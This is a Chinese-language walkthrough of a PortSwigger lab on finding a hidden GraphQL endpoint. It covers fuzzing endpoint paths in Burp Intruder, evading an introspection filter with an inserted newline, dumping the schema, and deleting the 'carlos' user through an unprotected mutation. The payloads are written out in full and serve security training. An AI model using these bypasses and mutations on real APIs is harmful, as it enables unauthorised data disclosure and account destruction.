从业者-查找隐藏的GraphQL端点
# 实验室:查找隐藏的GraphQL端点
# 题目
此实验室的用户管理功能由一个隐藏的 GraphQL 端点提供支持。你无法简单地通过 单击站点中的页面 来找到此端点。端点还具有一些针对内省的防御措施。
若要解决实验室问题,请找到隐藏的端点并删除carlos
账户。
我们建议你在尝试此实验之前安装 InQL 扩展。InQL 可以更轻松地在 Repeater 中修改 GraphQL 查询,并使你能够扫描 API 模式信息。
有关使用 InQL 的更多信息,请参阅在 Burp Suite 中使用 GraphQL (opens new window)。
- name: 实验室-从业者
desc: 查找隐藏的GraphQL端点 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
# 发现GraphQL端点
根据题目中所说,我们不能通过简单地访问网站来发现 GraphQL 端点。经过我的实际测试,确实找不到。
但我们可以用另一种方式来查找端点,例如暴破。
捕获一个请求数据包,并转发至 Intruder 功能模块。然后将 HTTP 请求路径添加到选区。
复制以下 GraphQL 通用端点名称,然后粘贴到载荷列表中。
/graphql
/graphql/graphql
/graphql/api
/graphql/api/v1
/api
/api/graphql
/api/v1/graphql
2
3
4
5
6
7
此外,还需要禁用最下方的 “URL encode these characters” 功能,因为它会将目录字符/
编码为%2f
,导致请求出错。
攻击完成之后,你会发现路径/api
返回了一个可疑的响应 “查询不存在”。
显然,这就是那个被藏起来的 GraphQL API 端点。
# 绕过端点防御
把对/api
的请求转发至 Repeater 功能模块,然后我添加了一个通用查询query{__typename}
并以 POST 发送请求。
查看响应,返回了信息 “请求方法不被允许”。
将内容类型修改为application/json
,继续发送请求。
继续不允许......诶?等下?我的 JSON 数据怎么不亮啊......噢,写错了
应该发送以下查询才对:
{
"query": "query{__typename}"
}
2
3
还是不允许 POST 方法。
将 HTTP 请求方法修改为GET
,但是依旧采用POST
传参。
成功访问端点!
此外,如果 HTTP 方法为GET
,传参方式也为GET
的情况下。
也是可以访问端点的,但看起来貌似没GET
方法 + POST
传参那么好。
# 绕过内省防御
尝试使用以下查询 来获取内省信息。你可以在 “Repeater --> GraphQL” 粘贴这个查询。
{
__schema {
queryType {
name
}
}
}
2
3
4
5
6
7
发送请求,响应信息说 “GraphQL 内省不被允许,在查询中包含了__schema
或__type
字符”。
那为啥刚刚的 “query{__typename}” 没有被禁止?
然后经过我一段时间的测试,发现只要在__schema
和{
字符之间,添加一个换行符\n
即可绕过防御。
{"query": "{\n __schema\n{\n queryType {\n name\n }\n }\n}"}
而且还必须在 “Pretty” 选项卡里面改,如果在 “GraphQL” 选项卡里面添加\n
的话会出错,直接在 “GraphQL” 里面换行的话又会自动给你删掉换行并对齐......
# 运行完整的内省查询
由于 InQL 扩展无法通过GET
方法来进行内省查询,所以我们需要手动获取内省信息,保存为 JSON 文件后再上传给 InQL 扩展进行分析。
这是完整的查询,有点长所以折叠起来了
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
然后还必须再次手动添加\n
换行符,以绕过内省防御。
查询响应信息,有三个字段被禁止,还记得理论知识学过什么吗?
笔记
如果启用了内省,但上述查询没有运行,请尝试从查询结构中删除onOperation
、onFragment
和onField
指令。许多端点不接受这些指令(作为内省查询的一部分时),删除它们之后,你通常可以更成功地进行内省。
找到所说的三个指令,删除它们。
再次发送完整的内省查询。这是 JSON 格式的:
{"query": "query IntrospectionQuery {\n __schema\n{\n queryType {\n name\n }\n mutationType {\n name\n }\n subscriptionType {\n name\n }\n types {\n ...FullType\n }\n directives {\n name\n description\n args {\n ...InputValue\n }\n }\n }\n}\n\nfragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n}\n\nfragment InputValue on __InputValue {\n name\n description\n type {\n ...TypeRef\n }\n defaultValue\n}\n\nfragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n}"}
在响应中可以看到 API 端点的所有模式信息。
在响应数据包中复制所有模式信息,保存为一个.json
文件。
切换到 InQL 选项卡,以文件的方式,将目标站点的模式信息提供给 InQL 扩展。
此外,你还需要在 “1. Provide URL of the GraphQL endpoint” 中输入正确的 GraphQL 端点 URL。
如果只生成了文件,但是没填 URL,是无法生成可视化信息的。
点击 “Analyze” 之后即可生成有关于目标站点的 API 模式信息。
发现一个查询对象getUser
,复制所有查询字段。
添加参数id: 1
,可以看到管理员账户的用户名,但是没有密码,因为对象getUser
不包含任何敏感字段。
噢不,他们学聪明了!
# 利用变更
先确认 carlos 账户的 ID 编号为3
。
在先前的模式信息中,除了查询对象getUser
以外,还有一个变更对象deleteOrganizationUser
。
这个变更对象可以用来删除账户,你明白怎么做了吧?
mutation {
deleteOrganizationUser(input: DeleteOrganizationUserInput) {
user {
id
username
}
}
}
2
3
4
5
6
7
8
直接粘贴这个变更对象,然后发送请求。
但是这个变更对象还需要你键入一个DeleteOrganizationUserInput
参数,可是我不知道这个参数具体是什么。是一个数值?一个字符串?还是别的什么?
别急,我们依旧可以在 API 模式信息中找到关于DeleteOrganizationUserInput
参数的信息。
搜索关键字,找到DeleteOrganizationUserInput
参数的信息:
kind
的值是INPUT_OBJECT
,表示需要输入一个对象inputFields
说明了在该对象中,所需要包含的字段- 很幸运,这个对象里面只包含一个字段,就是
inputFields.name
的值id
- 而
inputFields.type.ofType.name
说明了这个字段的类型是一个Int
(数值)
所以,DeleteOrganizationUserInput
是一个对象,包含一个类型为Int
的字段id
,它看起来就像这样:
DeleteOrganizationUserInput: {id: 1}
直接传入参数{id: 3}
,以删除 carlos 账户。
mutation {
deleteOrganizationUser(input: { id: 3 }) {
user {
id
username
}
}
}
2
3
4
5
6
7
8
端点返回了正常信息,说明变更请求执行成功。
实验完成。
# 其它完成姿势
如果你觉得直接提供{id: 3}
太无趣了,可以试试变量:
mutation del($input: DeleteOrganizationUserInput) {
deleteOrganizationUser(input: $input) {
user {
id
username
}
}
}
{
"input": {
"id": 2
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
del($input: DeleteOrganizationUserInput)
是为了声明变量,不声明就没法使用。
- 变更名称
del
+ 括号 - 声明变量
input
的类型为DeleteOrganizationUserInput
变量名称$input
不一定要和变更对象中的input
一致,它可以是任何名称,例如$params
。